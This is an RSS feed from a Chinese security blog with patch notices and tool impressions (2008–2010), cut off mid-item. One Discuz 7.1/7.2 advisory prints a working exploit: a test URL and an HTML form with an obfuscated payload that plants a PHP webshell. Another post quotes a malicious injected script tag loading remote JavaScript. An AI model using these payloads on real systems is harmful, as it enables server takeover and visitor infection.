<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Lin&#039;s Space&#124;Only &#187; 安全</title>
	<atom:link href="http://clin003.com/category/safe/feed/" rel="self" type="application/rss+xml" />
	<link>http://clin003.com</link>
	<description>If you my only , I will give you my all.</description>
	<lastBuildDate>Wed, 17 Mar 2010 14:52:48 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Adobe Illustrator CS4 and CS3未明缓冲区溢出漏洞</title>
		<link>http://clin003.com/safe/security-updates-available-for-adobe-illustrator-cs4-and-cs3-1884/</link>
		<comments>http://clin003.com/safe/security-updates-available-for-adobe-illustrator-cs4-and-cs3-1884/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 12:56:55 +0000</pubDate>
		<dc:creator>白菜林</dc:creator>
				<category><![CDATA[安全]]></category>
		<category><![CDATA[Illustrator]]></category>

		<guid isPermaLink="false">http://clin003.com/?p=1884</guid>
		<description><![CDATA[受影响版本：Adobe Illustrator CS4 (14.0.0) and Adobe Illustrator CS3 (13.0.3 及之前版本),
受影响操作系统环境：Platform: Windows 和 Macintosh
描述：Adobe Illustrator是一款adobe公司最新出品的矢量图编辑软件。
Windows和Macintosh平台上的Adobe Illustrator CS4 (14.0.0)和Adobe Illustrator CS3 (13.0.3和之前版本)存在一个严重漏洞，允许攻击者以应用程序权限执行任意指令。（The vulnerabilities could lead to arbitrary code execution. ）
解决办法：Adobe已经提供了升级补丁
1、如果正在运行Illustrator CS4，请先退出。
2、打开Illustrator CS4的安装目录并备份 < 安装路径>\Adobe Illustrator CS4\Support Files\Contents\Windows\MPS.dll
3、下载补丁文件（http://download.macromedia.com/pub/security/bulletins/apsb10-01/win/APSB10_01_CS4_Win.zip），解压。
4、替换步骤2中的文件 MPS.dll < 安装路径>\Adobe Illustrator CS4\Support Files\Contents\Windows\
5. 删除 Illustrator 用户配置文件
Windows XP:  {drive}\Documents and Settings\{user}\Application Data\Adobe\Adobe  Illustrator CS4 Settings\
Windows Vista: [...]]]></description>
			<content:encoded><![CDATA[<p><strong>受影响版本：</strong>Adobe Illustrator CS4 (14.0.0) and Adobe Illustrator CS3 (13.0.3 及之前版本),</p>
<p><strong>受影响操作系统环境：</strong>Platform: Windows 和 Macintosh</p>
<p><strong>描述：</strong>Adobe Illustrator是一款adobe公司最新出品的矢量图编辑软件。<br />
Windows和Macintosh平台上的Adobe Illustrator CS4 (14.0.0)和Adobe Illustrator CS3 (13.0.3和之前版本)存在一个严重漏洞，允许攻击者以应用程序权限执行任意指令。（The vulnerabilities could lead to arbitrary code execution. ）</p>
<p><strong>解决办法：</strong>Adobe已经提供了升级补丁</p>
<p>1、如果正在运行Illustrator CS4，请先退出。<br />
2、打开Illustrator CS4的安装目录并备份 < 安装路径>\Adobe Illustrator CS4\Support Files\Contents\Windows\MPS.dll<br />
3、下载补丁文件（http://download.macromedia.com/pub/security/bulletins/apsb10-01/win/APSB10_01_CS4_Win.zip），解压。<br />
4、替换步骤2中的文件 MPS.dll < 安装路径>\Adobe Illustrator CS4\Support Files\Contents\Windows\<br />
5. 删除 Illustrator 用户配置文件<br />
Windows XP:  {drive}\Documents and Settings\{user}\Application Data\Adobe\Adobe  Illustrator CS4 Settings\<br />
Windows Vista: {drive}\Users\{user}\AppData\Roaming\Adobe\Adobe Illustrator CS4 Settings\<br />
6、 运行 Illustrator CS4 </p>
<p>打补丁参考：http://www.adobe.com/support/security/bulletins/apsb10-01.html</p>
<p>PS：前些天打算亲自动手做Logo，就装了这个，今天为这个不常用的家伙打安全更新补丁！</p>
<hr /><h2>Related posts:</h2><ul><li><a href="http://clin003.com/ideas/adobe-actionscript-3-allownetworking-internal-1792/" rel="bookmark" title="Permanent Link: 安全引用Flash视频，allownetworking=&#8221;internal&#8221; 参数的应用">安全引用Flash视频，allownetworking=&#8221;internal&#8221; 参数的应用</a></li><li><a href="http://clin003.com/linux/fedora-11-yum-1832/" rel="bookmark" title="Permanent Link: 配置 yum 为 Fedora 11 快速更新软件">配置 yum 为 Fedora 11 快速更新软件</a></li><li><a href="http://clin003.com/suggested-contents/download-youtube-video-by-tools-flvplay-1243/" rel="bookmark" title="Permanent Link: 又一下载YouTube视频利器FLVPlay">又一下载YouTube视频利器FLVPlay</a></li><li><a href="http://clin003.com/exploits/wordpress-2-8-1-security-bypass-0day-1763/" rel="bookmark" title="Permanent Link: WordPress < 2.8.1 Security Bypass 0day">WordPress < 2.8.1 Security Bypass 0day</a></li><li><a href="http://clin003.com/ideas/place-update-flash-activex-1271/" rel="bookmark" title="Permanent Link: 请升级你的flash控件到最新版本：Flash控件漏洞仍然很泛滥">请升级你的flash控件到最新版本：Flash控件漏洞仍然很泛滥</a></li></ul><hr /><small>Copyright &copy; 2007-2009<br /> This feed is building by <a href="http://clin003.com/">Lin's Space|Only</a> and <a href="http://hi.clin003.com/">我的爬行JI - IT资讯精读</a>.<br />本文地址：<a href="http://clin003.com/safe/security-updates-available-for-adobe-illustrator-cs4-and-cs3-1884/" >http://clin003.com/safe/security-updates-available-for-adobe-illustrator-cs4-and-cs3-1884/</a> <br /> <a href="http://clin003.com/safe/security-updates-available-for-adobe-illustrator-cs4-and-cs3-1884/#comment" title="to the comments">雁过留言</a>. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)</small>]]></content:encoded>
			<wfw:commentRss>http://clin003.com/safe/security-updates-available-for-adobe-illustrator-cs4-and-cs3-1884/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Discuz! 与 UCHome 2.0 重要安全补丁20100110(06)</title>
		<link>http://clin003.com/safe/discuz72-uchome20-20100110-1880/</link>
		<comments>http://clin003.com/safe/discuz72-uchome20-20100110-1880/#comments</comments>
		<pubDate>Wed, 06 Jan 2010 15:50:38 +0000</pubDate>
		<dc:creator>白菜林</dc:creator>
				<category><![CDATA[安全]]></category>
		<category><![CDATA[Discuz]]></category>
		<category><![CDATA[UCHome]]></category>
		<category><![CDATA[安全补丁]]></category>

		<guid isPermaLink="false">http://clin003.com/?p=1880</guid>
		<description><![CDATA[两个重要更新补丁包
涉及版本
Discuz! 7.1 , Discuz! 7.2
Discuz! 重要安全补丁 20100110 For Discuz! 7.1 Discuz! 7.2 
本补丁包只适用于 UCenter Home 2.0 正式版
UCHome 2.0 正式版 20100106补丁包
从sebug获知，discuz 1.0最近爆出一个跨站漏洞和一个注入漏洞，另外从群里获知dz7.1和7.2存在“php远程执行代码”漏洞（上边的补丁包中已经修复）。uchome在特定php环境配置（register_globals为on）下存在一个注入漏洞。
Discuz! 7.1 &#38; 7.2 远程代码执行漏洞细节
Discuz！新版本7.1与7.2版本中的include目录global.func.php中的showmessage函数内eval执行的参数($scriptlang)未初始化，可以任意提交，从而可以执行任意PHP命令。另外misc.php中showmessage使用的$response没有初始化可以作为一个利用点。
漏洞利用原理
showmessage函数里$vars = explode(&#8216;:&#8217;, $message);然后message可以自己控制，于是就很容易了，参数是两个自定义的数组。
简单的检测是否漏洞存在
注册一个用户登陆,然后提交
misc.php?action=imme_binding&#38;response[result]=1:2&#38;scriptlang[1][2]={${phpinfo()}}
漏洞分析参考：Discuz! 7.1 &#38; 7.2 远程代码执行漏洞
补充HTML测试代码：


&#60;form method=&#8221;post&#8221; action=&#8221;http://bbs.XXXX.com/misc.php&#8221; enctype=&#8221;multipart/form-data&#8221;&#62;
帖子ID，指定一个存在的帖子即可：&#60;input type=&#8221;text&#8221; name=&#8221;tid&#8221; value=&#8221;1&#8243; /&#62;
&#60;input type=&#8221;hidden&#8221; name=&#8221;action&#8221; value=&#8221;imme_binding&#8221; /&#62;
&#60;input type=&#8221;hidden&#8221; name=&#8221;response[result]&#8221; value=&#8221;1:2&#8243; /&#62;
&#60;input type=&#8221;hidden&#8221; name=&#8221;scriptlang[1][2]&#8221; value=&#8221;${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(117).chr(115).chr(101).chr(114).chr(103).chr(114).chr(111).chr(117).chr(112).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}&#8221; /&#62;
&#60;input type=&#8221;submit&#8221; name=&#8221;topicsubmit&#8221; value=&#8221;提交&#8221; /&#62;
&#60;/form&#62;

forumdata/cache/usergroup_01.php [...]]]></description>
			<content:encoded><![CDATA[<p>两个重要更新补丁包</p>
<p>涉及版本<br />
Discuz! 7.1 , Discuz! 7.2<br />
<a href="http://www.discuz.net/thread-1537673-1-1.html">Discuz! 重要安全补丁 20100110 For Discuz! 7.1 Discuz! 7.2 </a></p>
<p>本补丁包只适用于 UCenter Home 2.0 正式版<br />
<a href="http://www.discuz.net/thread-1537784-1-1.html">UCHome 2.0 正式版 20100106补丁包</a></p>
<p>从sebug获知，discuz 1.0最近爆出一个<a href="http://sebug.net/vulndb/15192/">跨站漏洞</a>和一个<a href="http://sebug.net/vulndb/15193/">注入漏洞</a>，另外从群里获知dz7.1和7.2存在“php远程执行代码”漏洞（上边的补丁包中已经修复）。uchome在特定php环境配置（register_globals为on）下存在一个注入漏洞。</p>
<p><strong>Discuz! 7.1 &amp; 7.2 远程代码执行漏洞细节</strong><br />
Discuz！新版本7.1与7.2版本中的include目录global.func.php中的showmessage函数内eval执行的参数($scriptlang)未初始化，可以任意提交，从而可以执行任意PHP命令。另外misc.php中showmessage使用的$response没有初始化可以作为一个利用点。</p>
<p><strong>漏洞利用原理</strong><br />
showmessage函数里$vars = explode(&#8216;:&#8217;, $message);然后message可以自己控制，于是就很容易了，参数是两个自定义的数组。</p>
<p><strong>简单的检测是否漏洞存在</strong><br />
注册一个用户登陆,然后提交<br />
misc.php?action=imme_binding&amp;response[result]=1:2&amp;scriptlang[1][2]={${phpinfo()}}</p>
<p>漏洞分析参考：<a href="http://www.oldjun.com/blog/index.php/archives/58/">Discuz! 7.1 &amp; 7.2 远程代码执行漏洞</a></p>
<p>补充HTML测试代码：<br />
<span id="more-1880"></span></p>
<blockquote><p>
&lt;form method=&#8221;post&#8221; action=&#8221;http://bbs.XXXX.com/misc.php&#8221; enctype=&#8221;multipart/form-data&#8221;&gt;<br />
帖子ID，指定一个存在的帖子即可：&lt;input type=&#8221;text&#8221; name=&#8221;tid&#8221; value=&#8221;1&#8243; /&gt;<br />
&lt;input type=&#8221;hidden&#8221; name=&#8221;action&#8221; value=&#8221;imme_binding&#8221; /&gt;<br />
&lt;input type=&#8221;hidden&#8221; name=&#8221;response[result]&#8221; value=&#8221;1:2&#8243; /&gt;<br />
&lt;input type=&#8221;hidden&#8221; name=&#8221;scriptlang[1][2]&#8221; value=&#8221;${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(117).chr(115).chr(101).chr(114).chr(103).chr(114).chr(111).chr(117).chr(112).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}&#8221; /&gt;<br />
&lt;input type=&#8221;submit&#8221; name=&#8221;topicsubmit&#8221; value=&#8221;提交&#8221; /&gt;<br />
&lt;/form&gt;
</p></blockquote>
<p>forumdata/cache/usergroup_01.php cmd 生成的一句话</p>
<hr /><small>Copyright &copy; 2007-2009<br /> This feed is building by <a href="http://clin003.com/">Lin's Space|Only</a> and <a href="http://hi.clin003.com/">我的爬行JI - IT资讯精读</a>.<br />本文地址：<a href="http://clin003.com/safe/discuz72-uchome20-20100110-1880/" >http://clin003.com/safe/discuz72-uchome20-20100110-1880/</a> <br /> <a href="http://clin003.com/safe/discuz72-uchome20-20100110-1880/#comment" title="to the comments">雁过留言</a>. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)</small>]]></content:encoded>
			<wfw:commentRss>http://clin003.com/safe/discuz72-uchome20-20100110-1880/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>借助Browser Defender查看邻居是否危险</title>
		<link>http://clin003.com/safe/browser-defender-website-safety-lookup-1652/</link>
		<comments>http://clin003.com/safe/browser-defender-website-safety-lookup-1652/#comments</comments>
		<pubDate>Sun, 01 Mar 2009 01:48:41 +0000</pubDate>
		<dc:creator>白菜林</dc:creator>
				<category><![CDATA[SNS]]></category>
		<category><![CDATA[今日一点]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[BackType]]></category>
		<category><![CDATA[Browser Defender]]></category>
		<category><![CDATA[评论跟踪]]></category>

		<guid isPermaLink="false">http://clin003.com/?p=1652</guid>
		<description><![CDATA[今天查看邮件，发觉两个挺有意思的“Alerts”发来的Mail：
第一个，内容为
杂碎1：借助Browser Defender查看邻居是否危险
Browser Defender™ &#8211; Report for clin003.com
Browser Defender evaluates web sites for malicious downloads, exploits, phishing , annoyances such as excessive pop-ups, and other fraudulent practices.
点进去一看，原来是PCtools的Browser Defender对这个博客的检测结果页面，很好，很安全。:)
We have assessed this site and in our view it is safe to visit.
值得提出的是她可以帮忙查看从我这个博客出去的链接（大多为友情链接）是否都是安全的！
Online affiliations for clin003.com
Our testing of this site found no dangerous offsite links.
Links to other sites
Loading&#8230;
Analysis [...]]]></description>
			<content:encoded><![CDATA[<p>今天查看邮件，发觉两个挺有意思的“Alerts”发来的Mail：</p>
<p><strong>第一个，内容为</strong><br />
<strong>杂碎1：借助Browser Defender查看邻居是否危险</strong></p>
<blockquote><p>Browser Defender™ &#8211; Report for clin003.com<br />
Browser Defender evaluates web sites for malicious downloads, exploits, phishing , annoyances such as excessive pop-ups, and other fraudulent practices.</p></blockquote>
<p>点进去一看，原来是PCtools的Browser Defender对<a href="http://www.browserdefender.com/site/clin003.com/" target="_blank">这个博客的检测结果页面</a>，很好，很安全。:)</p>
<blockquote><p>We have assessed this site and in our view it is safe to visit.</p></blockquote>
<p>值得提出的是她可以帮忙查看从我这个博客出去的链接（大多为友情链接）是否都是安全的！</p>
<blockquote><p>Online affiliations for clin003.com<br />
Our testing of this site found no dangerous offsite links.<br />
Links to other sites<br />
Loading&#8230;<br />
Analysis 	URL<br />
&#8230;</p></blockquote>
<p>还好有一个被警告（非友情链接，这说明Browser Defender给出的报告包括但不局限于友情链接，啰嗦！）之外其他都是安全和未知的。</p>
<p>最后看下Browser Defender的英文说明来</p>
<blockquote><p>Browser Defender is a utility which protects your computer by providing you with an informative and helpful assessment of websites and the possible dangers they pose, thereby allowing you to make better informed choices when you browse the Internet.</p>
<p>A simple green, red or yellow rating lets you know immediately if, in ThreatExpert&#8217;s opinion, the website is safe to visit, harmful or needs to be visited with caution. If the website is not amongst our millions of crawled domains, then a grey rating will be shown. If you wish to submit a site to be assessed you can do so from the Browser Defender website.</p></blockquote>
<p>另外还有针对Firefox的插件Toolbar可以使用<br />
<a href="https://addons.mozilla.org/zh-CN/firefox/addon/8909" target="_blank">Browser Defender Toolbar</a></p>
<p>当然从官方网站也能直接下到用于ie的“插件”Toolbar。</p>
<p>第二封邮件，内容为<br />
<strong>杂碎1：借助BackType来追踪个人在开放博客空间的评论</strong></p>
<blockquote><p>Comments by clin003.com — BackType<br />
Comments by clin003.com on Lin&#8217;s空间|Only, Ericulous &#8211; Wordpress Themes, Plugins , Tips and Tricks and more.</p></blockquote>
<p>进去后发现，大眼一看，这个地址全是抓取的这个博客的留言（feed）（非全部）！一下还没看出啥名堂来，首页的PR为5！</p>
<p>没错，是用来跟踪留言评论的，方便在任何开放评论的网站跟踪自己留下的评论（相当于自己的评论中心），还是来看看他的英文介绍吧</p>
<blockquote><p>BackType is a service that lets you find, follow and share comments from across the web. Whenever you fill out the &#8220;Website&#8221; or &#8220;URL&#8221; field in a comment form when you publish a comment on a blog or other website, BackType attributes it to you. We give comment authors a profile featuring all the comments they&#8217;ve written on the Internet. If you don&#8217;t have a website to use when you fill out comment forms, sign up and use one of ours.</p></blockquote>
<p>偶英文不好，就不来翻译啦。<br />
跟踪的评论的“唯一性”有可能是根据留下的“用户名”和“网址”来判断的。</p>
<p>我不知道http://www.backtype.com/url/clin003.com 这个链接从她的主页上是怎么进去的，但通过这个链接演化一下把后边的地址改成“Dianso”在我博客留言使用的网址的话，发现能够看到“Dianso”在别的空间的留言内容（哇哈哈，发现新大陆啦）。<br />
这样看来是非常方便自己追踪自己在开放博客或者空间的留言记录啦 <img src='http://clin003.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' />  。真是个不错的东东，可惜英文的，对中文博客的跟踪即时性要缺失很多啦（看到她的<a href="http://www.backtype.com/comments" target="_blank">首页的留言追踪记录</a>在几分钟内）。</p>
<p>理想情况：这样似乎就不用担心自己在任何一个博客的<a href="http://www.caozenghui.cn/archives/512.html" target="_blank">评论分散问题</a>啦。</p>
<hr /><h2>Related posts:</h2><ul><li><a href="http://clin003.com/ideas/filefox-offline-mode-1422/" rel="bookmark" title="Permanent Link: Filefox Offline Mode（火狐的脱机模式）">Filefox Offline Mode（火狐的脱机模式）</a></li><li><a href="http://clin003.com/suggested-contents/let-website-rapid-multi-language-support-188/" rel="bookmark" title="Permanent Link: 让网站快速支持多国语言">让网站快速支持多国语言</a></li><li><a href="http://clin003.com/suggested-contents/firefox-3-beta-5-628/" rel="bookmark" title="Permanent Link: firefox 3 beta 5发布">firefox 3 beta 5发布</a></li><li><a href="http://clin003.com/ideas/set-a-default-browser-1258/" rel="bookmark" title="Permanent Link: 设置默认浏览器">设置默认浏览器</a></li><li><a href="http://clin003.com/google/gmail-setting-browser-connection-https-1395/" rel="bookmark" title="Permanent Link: Gmail安全链接">Gmail安全链接</a></li></ul><hr /><small>Copyright &copy; 2007-2009<br /> This feed is building by <a href="http://clin003.com/">Lin's Space|Only</a> and <a href="http://hi.clin003.com/">我的爬行JI - IT资讯精读</a>.<br />本文地址：<a href="http://clin003.com/safe/browser-defender-website-safety-lookup-1652/" >http://clin003.com/safe/browser-defender-website-safety-lookup-1652/</a> <br /> <a href="http://clin003.com/safe/browser-defender-website-safety-lookup-1652/#comment" title="to the comments">雁过留言</a>. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)</small>]]></content:encoded>
			<wfw:commentRss>http://clin003.com/safe/browser-defender-website-safety-lookup-1652/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>今日杂碎：预设QQ第二代密码保护结果</title>
		<link>http://clin003.com/safe/account-qq-com-service-at-tencent-com-1596/</link>
		<comments>http://clin003.com/safe/account-qq-com-service-at-tencent-com-1596/#comments</comments>
		<pubDate>Sat, 22 Nov 2008 00:43:00 +0000</pubDate>
		<dc:creator>白菜林</dc:creator>
				<category><![CDATA[今日一点]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[QQ]]></category>
		<category><![CDATA[密码保护]]></category>

		<guid isPermaLink="false">http://clin003.com/?p=1596</guid>
		<description><![CDATA[恭喜您，您QQ号码[*******]已经正式获得第二代密码保护！马上到这里体验新的保护功能吧！
。。。

不容易啊，而且这次申请还不到一星期就ok啦（以前都是3个月的观察期！！，而且结果都是没通过考验，第二代密码保护申请失败）！
关于QQ的其他链接：
QQ异常通知 http://yichang.qq.com/
QQ帐号服务中心 https://account.qq.com/
腾讯客服 http://service.qq.com/
Related posts:腾讯体验中心跨站漏洞及利用想法今日杂碎：Service Unavailable看到技术文章很稀奇——腾讯李旬保：WASL-Web应用安全的思考今日杂碎：QQ重设密码陷入死胡同Google Page Creator 服务迁移Copyright &#169; 2007-2009 This feed is building by Lin's Space&#124;Only and 我的爬行JI - IT资讯精读.本文地址：http://clin003.com/safe/account-qq-com-service-at-tencent-com-1596/  雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]></description>
			<content:encoded><![CDATA[<blockquote><p>恭喜您，您QQ号码[*******]已经正式获得第二代密码保护！马上到这里体验新的保护功能吧！<br />
。。。
</p></blockquote>
<p>不容易啊，而且这次申请还不到一星期就ok啦（以前都是3个月的观察期！！，而且结果都是没通过考验，第二代密码保护申请失败）！</p>
<p>关于QQ的其他链接：</p>
<p>QQ异常通知 http://yichang.qq.com/<br />
QQ帐号服务中心 https://account.qq.com/<br />
腾讯客服 http://service.qq.com/</p>
<hr /><h2>Related posts:</h2><ul><li><a href="http://clin003.com/exploits/tencent-experience-center-loopholes-and-the-use-of-inter-station-idea-503/" rel="bookmark" title="Permanent Link: 腾讯体验中心跨站漏洞及利用想法">腾讯体验中心跨站漏洞及利用想法</a></li><li><a href="http://clin003.com/ideas/service-unavailable-and-temporary-error-1683/" rel="bookmark" title="Permanent Link: 今日杂碎：Service Unavailable">今日杂碎：Service Unavailable</a></li><li><a href="http://clin003.com/technical-analysis/tencent-li-xun-bao-wasl-web-application-security-thinking-538/" rel="bookmark" title="Permanent Link: 看到技术文章很稀奇——腾讯李旬保：WASL-Web应用安全的思考">看到技术文章很稀奇——腾讯李旬保：WASL-Web应用安全的思考</a></li><li><a href="http://clin003.com/ideas/qq-account-reset-password-1574/" rel="bookmark" title="Permanent Link: 今日杂碎：QQ重设密码陷入死胡同">今日杂碎：QQ重设密码陷入死胡同</a></li><li><a href="http://clin003.com/google/google-page-creator-migration-1744/" rel="bookmark" title="Permanent Link: Google Page Creator 服务迁移">Google Page Creator 服务迁移</a></li></ul><hr /><small>Copyright &copy; 2007-2009<br /> This feed is building by <a href="http://clin003.com/">Lin's Space|Only</a> and <a href="http://hi.clin003.com/">我的爬行JI - IT资讯精读</a>.<br />本文地址：<a href="http://clin003.com/safe/account-qq-com-service-at-tencent-com-1596/" >http://clin003.com/safe/account-qq-com-service-at-tencent-com-1596/</a> <br /> <a href="http://clin003.com/safe/account-qq-com-service-at-tencent-com-1596/#comment" title="to the comments">雁过留言</a>. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)</small>]]></content:encoded>
			<wfw:commentRss>http://clin003.com/safe/account-qq-com-service-at-tencent-com-1596/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>紧急对比更新Discuz论坛安全补丁包[20081117]</title>
		<link>http://clin003.com/safe/discuz-wap-20081117-1584/</link>
		<comments>http://clin003.com/safe/discuz-wap-20081117-1584/#comments</comments>
		<pubDate>Mon, 17 Nov 2008 12:14:55 +0000</pubDate>
		<dc:creator>白菜林</dc:creator>
				<category><![CDATA[安全]]></category>
		<category><![CDATA[Discuz]]></category>
		<category><![CDATA[Wap]]></category>

		<guid isPermaLink="false">http://clin003.com/?p=1584</guid>
		<description><![CDATA[chinaz论坛爆“Discuz被挂马，受害人数三万多。官方补丁已出，赶紧打上吧 ”，补丁已出（http://download.comsenz.com/Discuz/patch/ ），不过在半小时前官方才放出来，都还在郁闷官方为啥没放补丁呢！
这次出问题的又是Wap字符转换问题，看来这个wap鸡肋可以去掉了，看官方给出的安全补丁公告：
http://www.discuz.net/thread-1113736-1-1.html
经查，Discuz! wap 功能部分在对文字进行编码转换时，存在合法变量被恶意覆盖问题，此问题将可能导致您的论坛受到安全性威胁。为此我们强烈建议您立即下载补丁进行修补。
* 此补丁包中含有 Discuz! 各版本程序，解开压缩包后，请根据您的版本号更新
* 本次修正不包含 Discuz! 7.0 测试版，建议参与测试的站点暂时关闭wap功能
* 如果您由于某种原因，无法及时修补，请您暂时关闭 &#8220;wap&#8221; 功能
据了解，是被修改了  menu.js
document.writeln(&#8220;&#60;script language=javascript src=http:\/ \/www.54zc.cn\/17aq\/a.js&#62;&#60;\/script&#62;&#8221;)
在某网站统计服务网站查看，截止11月17日中午，受害人数已达34713人。
下午四点左右，Discuz官方康盛技术支持提供了Disucz！安全补丁
CommentsNovember  18, 2008, uusee网络电视 writes: 下午我的一个网站才更新了补丁...好像很严重一样...Related posts:使用Discuz插件的同学需要注意了完美解决Discuz官方国庆模板页头广告错位方法Discuz 论坛中的 AdSense 显示问题终于解决啦今日杂碎：域名纠错——>域名劫持针对百度不支持nofollow而做的WordPress博客robots调整Copyright &#169; 2007-2009 This feed is building by Lin's Space&#124;Only and 我的爬行JI - IT资讯精读.本文地址：http://clin003.com/safe/discuz-wap-20081117-1584/  雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]></description>
			<content:encoded><![CDATA[<p>chinaz论坛爆“Discuz被挂马，受害人数三万多。官方补丁已出，赶紧打上吧 ”，补丁已出（http://download.comsenz.com/Discuz/patch/ ），不过在半小时前官方才放出来，都还在郁闷官方为啥没放补丁呢！</p>
<p>这次出问题的又是Wap字符转换问题，看来这个wap鸡肋可以去掉了，看官方给出的安全补丁公告：</p>
<p>http://www.discuz.net/thread-1113736-1-1.html</p>
<p>经查，Discuz! wap 功能部分在对文字进行编码转换时，存在合法变量被恶意覆盖问题，此问题将可能导致您的论坛受到安全性威胁。为此我们强烈建议您立即下载补丁进行修补。</p>
<p>* 此补丁包中含有 Discuz! 各版本程序，解开压缩包后，请根据您的版本号更新</p>
<p>* 本次修正不包含 Discuz! 7.0 测试版，建议参与测试的站点暂时关闭wap功能</p>
<p>* 如果您由于某种原因，无法及时修补，请您暂时关闭 &#8220;wap&#8221; 功能</p>
<p>据了解，是被修改了  menu.js</p>
<p>document.writeln(&#8220;&lt;script language=javascript src=http:\/ \/www.54zc.cn\/17aq\/a.js&gt;&lt;\/script&gt;&#8221;)</p>
<p>在某网站统计服务网站查看，截止11月17日中午，受害人数已达34713人。</p>
<p>下午四点左右，Discuz官方康盛技术支持提供了Disucz！安全补丁</p>
<hr /><h2>Comments</h2><ul><li><a href="http://clin003.com/safe/discuz-wap-20081117-1584/#comment-1712">November  18, 2008</a>, <a href='http://www.uusee5.org.cn/' rel='external nofollow' class='url'>uusee网络电视</a> writes: 下午我的一个网站才更新了补丁...好像很严重一样...</li></ul><hr /><h2>Related posts:</h2><ul><li><a href="http://clin003.com/ideas/discuz-plugin-exploits-1800/" rel="bookmark" title="Permanent Link: 使用Discuz插件的同学需要注意了">使用Discuz插件的同学需要注意了</a></li><li><a href="http://clin003.com/web2o-webos/discuz-guoqignmobanyetouguanggaocuoweijiejuebanfa-1811/" rel="bookmark" title="Permanent Link: 完美解决Discuz官方国庆模板页头广告错位方法">完美解决Discuz官方国庆模板页头广告错位方法</a></li><li><a href="http://clin003.com/ideas/discuz-adsense-show-1789/" rel="bookmark" title="Permanent Link: Discuz 论坛中的 AdSense 显示问题终于解决啦">Discuz 论坛中的 AdSense 显示问题终于解决啦</a></li><li><a href="http://clin003.com/ideas/cncmax-domain-name-hijacking-1547/" rel="bookmark" title="Permanent Link: 今日杂碎：域名纠错——>域名劫持">今日杂碎：域名纠错——>域名劫持</a></li><li><a href="http://clin003.com/wp-use/wordpress-robots-1533/" rel="bookmark" title="Permanent Link: 针对百度不支持nofollow而做的WordPress博客robots调整">针对百度不支持nofollow而做的WordPress博客robots调整</a></li></ul><hr /><small>Copyright &copy; 2007-2009<br /> This feed is building by <a href="http://clin003.com/">Lin's Space|Only</a> and <a href="http://hi.clin003.com/">我的爬行JI - IT资讯精读</a>.<br />本文地址：<a href="http://clin003.com/safe/discuz-wap-20081117-1584/" >http://clin003.com/safe/discuz-wap-20081117-1584/</a> <br /> <a href="http://clin003.com/safe/discuz-wap-20081117-1584/#comment" title="to the comments">雁过留言</a>. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)</small>]]></content:encoded>
			<wfw:commentRss>http://clin003.com/safe/discuz-wap-20081117-1584/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>今日杂碎：补丁</title>
		<link>http://clin003.com/safe/security-update-vulnerability-patch-1552/</link>
		<comments>http://clin003.com/safe/security-update-vulnerability-patch-1552/#comments</comments>
		<pubDate>Fri, 24 Oct 2008 17:07:36 +0000</pubDate>
		<dc:creator>白菜林</dc:creator>
				<category><![CDATA[今日一点]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[Computer Browser]]></category>
		<category><![CDATA[MS08-067]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[微软]]></category>

		<guid isPermaLink="false">http://clin003.com/?p=1552</guid>
